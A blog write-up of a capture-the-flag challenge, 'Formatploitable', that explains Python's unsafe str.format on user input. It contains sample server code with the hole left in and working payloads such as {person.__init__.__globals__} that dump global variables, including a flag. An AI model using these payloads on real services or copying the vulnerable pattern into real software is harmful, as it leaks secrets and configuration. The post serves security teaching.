About

Blog

Lag'n'Crash CTF: Formatploitable

March 14, 2021

Challenge Overview

Skip to solution

This challenge is under the Misc category.

Our intel says that the flag is a global variable in this python program, yet we cannot retrieve it through normal means.

nc challenge1.lagncrash.com 13028

Connecting to the server we are presented with four options.

Welcome to Rafale 1.0!
1) Create profile
2) View badge
3) Patch Notes
4) Exit

Create profile:

(picked option 1)
Enter name: Dave
Welcome Dave! Enter a short biography for your profile:
Hi, I'm Dave

View badge:

(picked option 2)
╔════════════════════════════════════════════════
║Name : Dave
║Bio  : Hi, I'm Dave
╚════════════════════════════════════════════════

Patch Notes:

(picked option 3)
Update 1.0.94795585:
The choice to format your profile has been added!

Example profile: Hi! Im {}, nice to meet you!

Further implementations coming soon!

Solution

This challenge attempts to demonstrate the unsafe nature of Python’s .format(). Behind the scenes, the profile is displayed by a script similar to:

class Person:
    def __init__(self, name, profile):
        self.name = name
        self.profile = profile


# Note that s is a socket
# When creating a profile:
name_format = s.recv(1024)
profile_format = s.recv(1024)
person = Person(name_format, profile_format)

# When displaying the profile
name = name_format.format(person=person)
s.sendall(name)
profile = profile_format.format(person=person)
s.sendall(profile)

We are expected to guess that the data is formatted using the person keyword argument. Then, using the Person object, we access the global variables using __globals__:

(picked option 1)
Enter name: Dave
Welcome Dave! Enter a short biography for your profile:
{person.__init__.__globals__}

Then, view our profile:

(picked option 2)
╔════════════════════════════════════════════════
║Name : Dave
║Bio  : {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7b70094d00>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'Formatploitable.py', '__cached__': None, 'CONFIG': {'FLAG': '{sTr1ng_f0rm4tT1nG_xpl0it3d}'}, 'Person': <class '__main__.Person'>, 'cont': True, 'choice': '2', 'person': <__main__.Person object at 0x7f7b6ffaccd0>}
╚════════════════════════════════════════════════

So we can see the flag is LNC{sTr1ng_f0rm4tT1nG_xpl0it3d}.

Explanation and other possibilities

1. Keyword arguments vs positional arguments

Personally, I had a lot of trouble finding the word that was used because I did not expect to guess the keyword argument used.

The vulnerability demonstrated here can also be shown through positional arguments:

# When displaying the profile
name = name_format.format(person)
s.sendall(name)
profile = profile_format.format(person)
s.sendall(profile)

Then, the payload will need to be adjusted to:

(picked option 1)
Enter name: Dave
Welcome Dave! Enter a short biography for your profile:
{0.__init__.__globals__}

2. __globals__ is only accessible by user-defined functions and imported functions

It should be noted that if the given code used is:

# When displaying the profile
name = name_format.format(person.name)
s.sendall(name)
profile = profile_format.format(person.profile)
s.sendall(profile)

It is not possible to access the global variables. This is because __globals__ is a special attribute given to all user-defined functions and all imported functions.

For example, we have already seen a user-defined function (technically method) in the Person object. The same problem will arise for functions:

def hello():
    pass

print(hello.__globals__)

Likewise, for imported functions:

import base64
print(base64.b64encode.__globals__)

Imported functions will display the __globals__ for their module.


Written by Joel Tio who develops anything he finds interesting and tries to fit math into them. Check out the home page or his GitHub!

© 2023, Joel Tio